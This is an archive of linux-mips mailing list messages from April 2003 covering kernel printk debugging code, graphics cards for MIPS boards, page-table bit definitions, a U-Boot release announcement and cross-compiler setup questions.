Organization: MontaVista
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.20 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Justin Carlson <justinca@cs.cmu.edu>
CC: "Avinash S." <avinash.s@inspiretech.com>,
	linux <linux-mips@linux-mips.org>
Subject: Re: printk problems
References: <200304081211.h38CBgf6024962@smtp.inspirtek.com> <1049816267.17005.25.camel@gs256.sp.cs.cmu.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <michael_pruznick@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1944
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: michael_pruznick@mvista.com
Precedence: bulk
X-list: linux-mips


> Until this point, printk() calls are buffered in memory. 

This is what I like to use to bypass the buffering for
non-standard serial hardware.  

The raw_output() function needs to be specific to
your serial driver.  The one below is just an example
from a board I'm currently working on (that is not in
the linux-mips tree yet).  Basically, raw_output() needs
to put the char in the serial hardware output register
and then wait for the serial hardware to indicate that
it put the char on the wire to prevent over-run.


Changes to kernel/printk.c
#define RAW_OUTPUT
static void emit_log_char(char c)
{
#ifdef RAW_OUTPUT
        void raw_output(char c);
        raw_output(c);
#else
        LOG_BUF(log_end) = c;
        log_end++;
        if (log_end - log_start > LOG_BUF_LEN)
                log_start = log_end - LOG_BUF_LEN;
        if (log_end - con_start > LOG_BUF_LEN)
                con_start = log_end - LOG_BUF_LEN;
        if (logged_chars < LOG_BUF_LEN)
                logged_chars++;
#endif
}


What I added to my serial driver.  You will need to
do the similar for your specific serial hardware.
#ifdef RAW_OUTPUT
void raw_output(char c)
{
        struct rs_port *port = &rs_ports[0];
        if ( c == '\n' )
        {
          sio_out(port, TXX9_SITFIFO, '\r');
          wait_for_xmitr(port);
        }
        sio_out(port, TXX9_SITFIFO, c);
        wait_for_xmitr(port);
        return;
}
#endif


-- 
Michael Pruznick, michael_pruznick@mvista.com, www.mvista.com
MontaVista Software, 1237 East Arques Ave, Sunnyvale, CA 94085

From alan@lxorguk.ukuu.org.uk Tue Apr  8 22:30:04 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 22:30:05 +0100 (BST)
Received: from pc2-cwma1-4-cust86.swan.cable.ntl.com ([IPv6:::ffff:213.105.254.86]:38042
	"EHLO lxorguk.ukuu.org.uk") by linux-mips.org with ESMTP
	id <S8225072AbTDHVaE>; Tue, 8 Apr 2003 22:30:04 +0100
Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h38KVlRN009016;
	Tue, 8 Apr 2003 21:31:47 +0100
Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h38KVe7V009014;
	Tue, 8 Apr 2003 21:31:40 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
Subject: Re: pci graphics card for malta running linux
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
To: Earl Mitchell <earlmips@yahoo.com>
Cc: linux-mips@linux-mips.org
In-Reply-To: <20030408175517.66121.qmail@web20708.mail.yahoo.com>
References: <20030408175517.66121.qmail@web20708.mail.yahoo.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1049833899.8939.9.camel@dhcp22.swansea.linux.org.uk>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Date: 08 Apr 2003 21:31:40 +0100
Return-Path: <alan@lxorguk.ukuu.org.uk>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1945
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: alan@lxorguk.ukuu.org.uk
Precedence: bulk
X-list: linux-mips

On Maw, 2003-04-08 at 18:55, Earl Mitchell wrote:
> Does anybody have any good reccs for PCI graphcis cards I can use with
> Malta board running linux? Some linux device drivers assume x86. If
> you know some PCI cards that work with linux/mips on malta let me know
> (especially nVidia or ATI cards). Also any PCI sound cards that work
> too. 

Nvidia and ATI cards require you run the BIOS firmware to boot them. 
XFree86 can do that for the ATI at least. If you just need to ram 
something into a box so you can see what is going up I'd suggest
getting an old voodoo1/voodoo2 off ebay. They report as multimedia
devices and the current kernel fb driver can bootstrap them from
cold on little or big endian systems with no bios support (tested
on parisc, x86 etc)

Not bad for <$10 a card although nobody has made Glide work big endian
so you can do 3D yet 8)

Alan


From jsun@mvista.com Tue Apr  8 22:46:10 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 22:46:11 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:7672 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225072AbTDHVqK>;
	Tue, 8 Apr 2003 22:46:10 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h38Ljub21667;
	Tue, 8 Apr 2003 14:45:56 -0700
Date: Tue, 8 Apr 2003 14:45:56 -0700
From: Jun Sun <jsun@mvista.com>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Cc: Earl Mitchell <earlmips@yahoo.com>, linux-mips@linux-mips.org,
	jsun@mvista.com
Subject: Re: pci graphics card for malta running linux
Message-ID: <20030408144556.E6865@mvista.com>
References: <20030408175517.66121.qmail@web20708.mail.yahoo.com> <1049833899.8939.9.camel@dhcp22.swansea.linux.org.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1049833899.8939.9.camel@dhcp22.swansea.linux.org.uk>; from alan@lxorguk.ukuu.org.uk on Tue, Apr 08, 2003 at 09:31:40PM +0100
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1946
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips

On Tue, Apr 08, 2003 at 09:31:40PM +0100, Alan Cox wrote:
> On Maw, 2003-04-08 at 18:55, Earl Mitchell wrote:
> > Does anybody have any good reccs for PCI graphcis cards I can use with
> > Malta board running linux? Some linux device drivers assume x86. If
> > you know some PCI cards that work with linux/mips on malta let me know
> > (especially nVidia or ATI cards). Also any PCI sound cards that work
> > too. 
> 
> Nvidia and ATI cards require you run the BIOS firmware to boot them. 
> XFree86 can do that for the ATI at least. If you just need to ram 
> something into a box so you can see what is going up I'd suggest
> getting an old voodoo1/voodoo2 off ebay. They report as multimedia
> devices and the current kernel fb driver can bootstrap them from
> cold on little or big endian systems with no bios support (tested
> on parisc, x86 etc)
>

When I played with voodoo cards, I needed a different voodoo driver
for fb to work.  See http://www.medex.hu/~danthe/tdfx/.

But that patch is very outdated.  Last time when I tried with
recent 2.4 kernels, it was seriously broken.

The old faithful Matrox Millennium cards still work fine.

Steve Longerbeam has made ATI xpert98 working with non-i386 machines.
You can poke him for the patch.

Jun

From ralf@linux-mips.net Tue Apr  8 22:47:42 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 22:47:42 +0100 (BST)
Received: from p508B6792.dip.t-dialin.net ([IPv6:::ffff:80.139.103.146]:46566
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225072AbTDHVrm>; Tue, 8 Apr 2003 22:47:42 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h38LlZV09029;
	Tue, 8 Apr 2003 23:47:35 +0200
Date: Tue, 8 Apr 2003 23:47:35 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Aliasing in pgtable-bits.h (CONFIG_64BIT_PHYS_ADDR)
Message-ID: <20030408234735.A7363@linux-mips.org>
References: <3E9274F0.227008F7@ekner.info>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E9274F0.227008F7@ekner.info>; from hartvig@ekner.info on Tue, Apr 08, 2003 at 09:06:24AM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1947
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 08, 2003 at 09:06:24AM +0200, Hartvig Ekner wrote:

> #define _PAGE_R4KBUG                (1<<0)  /* workaround for r4k bug  */
> #define _PAGE_GLOBAL                (1<<0)
> 
> Is the aliasing between R4KBUG & GLOBAL intentional? This is the only CONFIG case where it
> is done. Superficially, I can't see R4KBUG used anywhere, so maybe it doesn't matter. But
> if R4KBUG truly isn't used, why not consider removing it entirely from all PTE layouts?

It's there for a R4000 bug workaround waiting to be finally written by
somebody ...

  Ralf

From ralf@linux-mips.net Tue Apr  8 22:48:25 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 22:48:26 +0100 (BST)
Received: from p508B6792.dip.t-dialin.net ([IPv6:::ffff:80.139.103.146]:48358
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225072AbTDHVsZ>; Tue, 8 Apr 2003 22:48:25 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h38LmEc09060;
	Tue, 8 Apr 2003 23:48:14 +0200
Date: Tue, 8 Apr 2003 23:48:14 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Juan Quintela <quintela@mandrakesoft.com>
Cc: Hartvig Ekner <hartvig@ekner.info>,
	Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Aliasing in pgtable-bits.h (CONFIG_64BIT_PHYS_ADDR)
Message-ID: <20030408234814.B7363@linux-mips.org>
References: <3E9274F0.227008F7@ekner.info> <868yul2sa5.fsf@trasno.mitica>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <868yul2sa5.fsf@trasno.mitica>; from quintela@mandrakesoft.com on Tue, Apr 08, 2003 at 12:32:50PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1948
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 08, 2003 at 12:32:50PM +0200, Juan Quintela wrote:

> I will bet that this is related to the comment in
> arch/mips/mm/tlb-r4k.c workaround that is unimplemented:

Correct.

  Ralf

From wd@denx.de Wed Apr  9 01:31:00 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 01:31:01 +0100 (BST)
Received: from mailout05.sul.t-online.com ([IPv6:::ffff:194.25.134.82]:7365
	"EHLO mailout05.sul.t-online.com") by linux-mips.org with ESMTP
	id <S8225072AbTDIAbA>; Wed, 9 Apr 2003 01:31:00 +0100
Received: from fwd01.sul.t-online.de 
	by mailout05.sul.t-online.com with smtp 
	id 1933UK-0005gn-00; Wed, 09 Apr 2003 02:30:52 +0200
Received: from denx.de (320026445996-0001@[217.235.226.164]) by fmrl01.sul.t-online.com
	with esmtp id 1933UF-1cvDt2C; Wed, 9 Apr 2003 02:30:47 +0200
Received: from atlas.denx.de (atlas.denx.de [10.0.0.14])
	by denx.de (Postfix) with ESMTP
	id 7FFAC43139; Wed,  9 Apr 2003 02:30:46 +0200 (MEST)
Received: by atlas.denx.de (Postfix, from userid 15)
	id 347ABC5877; Wed,  9 Apr 2003 02:30:45 +0200 (MEST)
Received: from atlas.denx.de (localhost [127.0.0.1])
	by atlas.denx.de (Postfix) with ESMTP
	id 2F9F6C56C7; Wed,  9 Apr 2003 02:30:45 +0200 (MEST)
To: linuxppc-embedded@lists.linuxppc.org,
	linuxppc-dev@lists.linuxppc.org
Cc: linux-mips@linux-mips.org
From: Wolfgang Denk <wd@denx.de>
Subject: [ANN] U-Boot-0.3.0 released
X-Mailer: exmh version 1.6.4 10/10/1995
Mime-version: 1.0
Content-type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Wed, 09 Apr 2003 02:30:40 +0200
Message-Id: <20030409003045.347ABC5877@atlas.denx.de>
X-Sender: 320026445996-0001@t-dialin.net
Return-Path: <wd@denx.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1949
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: wd@denx.de
Precedence: bulk
X-list: linux-mips

A new version of the Universal Bootloader "U-Boot" has been released.
It is named U-Boot-0.3.0 and tagged  as  "U-Boot-0_3_0"  on  the  CVS
server.

A tarball is available at

ftp://ftp.denx.de/pub/u-boot/u-boot-0.3.0.tar.bz2


Major news:

* Support for new processors: MIPS 4Kc, MIPS 5Kc, MPC555/556
* Support for new RTOS: RTEMS
* Support for new boards: INCA-IP, Innokom, TOP860, MPC8266ADS,
  VCMA9, ELPT860, CPC45, PM825, SC8xx, AT91RM9200DK, cmi_mpc5xx,
  Purple
* other highlights: PCI support for MPC8250, JFFS2 cleanup

See the project page at http://sourceforge.net/projects/u-boot
for further information.


Wolfgang Denk

-- 
Software Engineering:  Embedded and Realtime Systems,  Embedded Linux
Phone: (+49)-8142-4596-87  Fax: (+49)-8142-4596-88  Email: wd@denx.de
Man is the best computer we can put aboard a spacecraft ...  and  the
only one that can be mass produced with unskilled labor.
                                                  - Wernher von Braun

From ralf@linux-mips.net Wed Apr  9 02:16:35 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 02:16:36 +0100 (BST)
Received: from p508B6792.dip.t-dialin.net ([IPv6:::ffff:80.139.103.146]:18666
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225072AbTDIBQf>; Wed, 9 Apr 2003 02:16:35 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h391GVD12954;
	Wed, 9 Apr 2003 03:16:31 +0200
Date: Wed, 9 Apr 2003 03:16:31 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Patch to include/asm-mips/processor.h
Message-ID: <20030409031631.A12708@linux-mips.org>
References: <3E917AA1.13694D03@ekner.info>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E917AA1.13694D03@ekner.info>; from hartvig@ekner.info on Mon, Apr 07, 2003 at 03:18:25PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1950
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Mon, Apr 07, 2003 at 03:18:25PM +0200, Hartvig Ekner wrote:

> I have no idea whether what I did was correct, but at least it is no less incorrect than the code currently
> in there, which coredumps now for some reason (I wonder why it never crashed before). The test-bit macro
> expects a bit-number, and not a mask which it is given in the current code.
> 
> So while fixing this, I also used the normal cpu_data macro for the cpu_has_watch() macro, instead of
> looking at CPU(0).

The plan was to make the options field a bitfield like on i386 but I
changed my mind because we still have plenty of unused bits left.  I've
put a fix into CVS.  The patch also replaces all the manual bit tests
of the options field with feature test macros.

  Ralf

From fxzhang@ict.ac.cn Wed Apr  9 02:30:36 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 02:30:37 +0100 (BST)
Received: from [IPv6:::ffff:159.226.39.4] ([IPv6:::ffff:159.226.39.4]:6576
	"HELO mail.ict.ac.cn") by linux-mips.org with SMTP
	id <S8225072AbTDIBag>; Wed, 9 Apr 2003 02:30:36 +0100
Received: (qmail 15044 invoked from network); 9 Apr 2003 01:09:27 -0000
Received: from unknown (HELO ict.ac.cn) (159.226.40.150)
  by 159.226.39.4 with SMTP; 9 Apr 2003 01:09:27 -0000
Message-ID: <3E9377A8.4050407@ict.ac.cn>
Date: Wed, 09 Apr 2003 09:30:16 +0800
From: Fuxin Zhang <fxzhang@ict.ac.cn>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030206
X-Accept-Language: zh-cn, en-us, en
MIME-Version: 1.0
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
CC: Earl Mitchell <earlmips@yahoo.com>, linux-mips@linux-mips.org
Subject: Re: pci graphics card for malta running linux
References: <20030408175517.66121.qmail@web20708.mail.yahoo.com> <1049833899.8939.9.camel@dhcp22.swansea.linux.org.uk>
In-Reply-To: <1049833899.8939.9.camel@dhcp22.swansea.linux.org.uk>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Return-Path: <fxzhang@ict.ac.cn>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1951
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: fxzhang@ict.ac.cn
Precedence: bulk
X-list: linux-mips



Alan Cox wrote:

>On Maw, 2003-04-08 at 18:55, Earl Mitchell wrote:
>  
>
>>Does anybody have any good reccs for PCI graphcis cards I can use with
>>Malta board running linux? Some linux device drivers assume x86. If
>>you know some PCI cards that work with linux/mips on malta let me know
>>(especially nVidia or ATI cards). Also any PCI sound cards that work
>>too. 
>>    
>>
we managed to use x86emu to run bios firmware on a mips board,the cards we
tried including nvidia riva TNT2(?) and ATI Rage Pro and some old S3 too.
If you want i can give your the code. It is expected to run both in 
pmon,kernel
and user space(probably some hardware related tweak needed),though i 
have never
got enough time to make things perfect.

>Nvidia and ATI cards require you run the BIOS firmware to boot them. 
>XFree86 can do that for the ATI at least. If you just need to ram 
>something into a box so you can see what is going up I'd suggest
>getting an old voodoo1/voodoo2 off ebay. They report as multimedia
>devices and the current kernel fb driver can bootstrap them from
>cold on little or big endian systems with no bios support (tested
>on parisc, x86 etc)
>
>Not bad for <$10 a card although nobody has made Glide work big endian
>so you can do 3D yet 8)
>
>Alan
>
>
>
>
>  
>


From ralf@linux-mips.net Wed Apr  9 02:33:29 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 02:33:30 +0100 (BST)
Received: from p508B6792.dip.t-dialin.net ([IPv6:::ffff:80.139.103.146]:32234
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225072AbTDIBd3>; Wed, 9 Apr 2003 02:33:29 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h391XMM13270;
	Wed, 9 Apr 2003 03:33:22 +0200
Date: Wed, 9 Apr 2003 03:33:22 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Erik J. Green" <erik@greendragon.org>
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: Re: 64 to 32 bit jr
Message-ID: <20030409033322.B12708@linux-mips.org>
References: <Pine.GSO.3.96.1030404161724.7307D-100000@delta.ds2.pg.gda.pl> <1049727719.3e9192e77cc49@my.visi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1049727719.3e9192e77cc49@my.visi.com>; from erik@greendragon.org on Mon, Apr 07, 2003 at 03:01:59PM +0000
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1952
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Mon, Apr 07, 2003 at 03:01:59PM +0000, Erik J. Green wrote:

> I am unable to arrange my addresses similarly neatly, mostly I think due to
> fighting with the toolchain I have.  Is it "legal" for me to load a
> kernel using the xkphys address and then do something like:

You may map the kernel into XKSEG (0xc000000000000000).  The kernel
already has an option for that, CONFIG_MAPPED_KERNEL.  It's used as a
ccNUMA optimization on large Origin configurations to map a local copy
of the kernel code to that address range.

  Ralf

From clausen@gnu.org Wed Apr  9 02:52:18 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 02:52:20 +0100 (BST)
Received: from mail010.syd.optusnet.com.au ([IPv6:::ffff:210.49.20.138]:63117
	"EHLO mail010.syd.optusnet.com.au") by linux-mips.org with ESMTP
	id <S8225072AbTDIBwS>; Wed, 9 Apr 2003 02:52:18 +0100
Received: from localhost.karma (c17997.eburwd3.vic.optusnet.com.au [210.49.198.98])
	by mail010.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id h391qFn25936
	for <linux-mips@linux-mips.org>; Wed, 9 Apr 2003 11:52:15 +1000
Received: by localhost.karma (Postfix, from userid 500)
	id 2CF2C297; Wed,  9 Apr 2003 11:52:11 +1000 (EST)
Date: Wed, 9 Apr 2003 11:52:10 +1000
From: Andrew Clausen <clausen@gnu.org>
To: linux-mips@linux-mips.org
Subject: [ANNOUNCE] Linux on Origin 200 (ip27) docs, scripts and patches
Message-ID: <20030409015210.GA1994@gnu.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Accept-Language: en,pt
Return-Path: <clausen@gnu.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1953
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: clausen@gnu.org
Precedence: bulk
X-list: linux-mips

Hi all,

I've put most of the output of my internship at SGI here:

	http://members.optusnet.com.au/clausen/sgi

Of particular interest are:

	http://members.optusnet.com.au/clausen/sgi/LINUX-IP27-HOWTO
		a document describing a few different ways to install
		Debian on an Origin 200.

	http://members.optusnet.com.au/clausen/sgi/gen-mips-cd
		a shell script for making bootable ip27 linux CDs.

	http://members.optusnet.com.au/clausen/sgi/genisovh.diff
		a patch to genisovh that allows nested partitions.
		gen-mips-cd (above) needs this patch.

Cheers,
Andrew


From madhavis@sasken.com Wed Apr  9 07:17:59 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 07:18:00 +0100 (BST)
Received: from ftp-xb.sasken.com ([IPv6:::ffff:164.164.56.3]:31155 "EHLO
	sandesha.sasken.com") by linux-mips.org with ESMTP
	id <S8225072AbTDIGR7>; Wed, 9 Apr 2003 07:17:59 +0100
Received: from sunsv2.sasken.com (localhost [127.0.0.1])
	by sandesha.sasken.com (8.12.8/8.12.8) with ESMTP id h396Hi35029407
	for <linux-mips@linux-mips.org>; Wed, 9 Apr 2003 11:47:45 +0530 (IST)
X-Authentication-Warning: sandesha.sasken.com: iscan owned process doing -bs
Received: from pcz-madhavis.sasken.com (IDENT:madhavis@pcz-madhavis.sasken.com [10.1.64.210])
	by sunsv2.sasken.com (8.11.6/8.11.6) with ESMTP id h396Hpw10678
	for <linux-mips@linux-mips.org>; Wed, 9 Apr 2003 11:47:51 +0530 (IST)
Date: Wed, 9 Apr 2003 11:47:51 +0530 (IST)
From: Madhavi <madhavis@sasken.com>
To: <linux-mips@linux-mips.org>
Subject: cross-compiler for mips (r5432)
Message-ID: <Pine.LNX.4.33.0304091136220.1873-100000@pcz-madhavis.sasken.com>
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="=_IS_MIME_Boundary"
Return-Path: <madhavis@sasken.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1954
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: madhavis@sasken.com
Precedence: bulk
X-list: linux-mips

--=_IS_MIME_Boundary
Content-Type: TEXT/PLAIN; charset=US-ASCII


Hi

I want to install a cross-compiler for MIPS(R5432 CPU) on an i686 host.
Since R4000 is compatible with R5432, I am using "mips3" as the target.
binutils-2.13 and I phase compilation of gcc-3.2 happened without any
problems. But, glibc-2.2.5 is giving many compilation problems. This is
how I configured glibc:

configure --build=i686-linux --host=mips3el-linux --enable-add-ons
--prefix=/usr.

Could someone guide me on this or give me some pointers for installation?
Is the target option "mips3" the right choice for R5432?

Thank you in advance.

regards
Madhavi.

Madhavi Suram
Software Engineer
Customer Delivery / Networks
Sasken Communication Technologies Limited
139/25, Ring Road, Domlur
Bangalore - 560071 India
Email: madhavis@sasken.com
Tel: + 91 80 5355501 Extn: 8062
Fax: + 91 80 5351133
URL: www.sasken.com



--=_IS_MIME_Boundary
Content-Type: text/plain;charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

************************************************************************

SASKEN BUSINESS DISCLAIMER

This message may contain confidential, proprietary or legally Privileged information. In case you are not the original intended Recipient of the message, you must not, directly or indirectly, use, Disclose, distribute, print, or copy any part of this message and you are requested to delete it and inform the sender. Any views expressed in this message are those of the individual sender unless otherwise stated. Nothing contained in this message shall be construed as an offer or acceptance of any offer by Sasken Communication Technologies Limited ("Sasken") unless sent with that express intent and with due authority of Sasken. Sasken accepts no liability for any loss or damage, which may be caused by viruses.

***********************************************************************

--=_IS_MIME_Boundary--

From macro@ds2.pg.gda.pl Wed Apr  9 11:11:52 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 11:11:52 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:17802 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225208AbTDIKLw>; Wed, 9 Apr 2003 11:11:52 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id MAA00251;
	Wed, 9 Apr 2003 12:12:28 +0200 (MET DST)
Date: Wed, 9 Apr 2003 12:12:28 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ralf Baechle <ralf@linux-mips.org>
cc: Hartvig Ekner <hartvig@ekner.info>,
	Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Aliasing in pgtable-bits.h (CONFIG_64BIT_PHYS_ADDR)
In-Reply-To: <20030408234735.A7363@linux-mips.org>
Message-ID: <Pine.GSO.3.96.1030409120414.29837A-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1955
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Tue, 8 Apr 2003, Ralf Baechle wrote:

> > Is the aliasing between R4KBUG & GLOBAL intentional? This is the only CONFIG case where it
> > is done. Superficially, I can't see R4KBUG used anywhere, so maybe it doesn't matter. But
> > if R4KBUG truly isn't used, why not consider removing it entirely from all PTE layouts?
> 
> It's there for a R4000 bug workaround waiting to be finally written by
> somebody ...

 Possibly doing that in the toolchain may be a reasonable alternative. 
Actually wasting say 4 last words for nops on every page unconditionally
when building for the affected processors may be a good approximation of a
workaround for a start. 

-- 
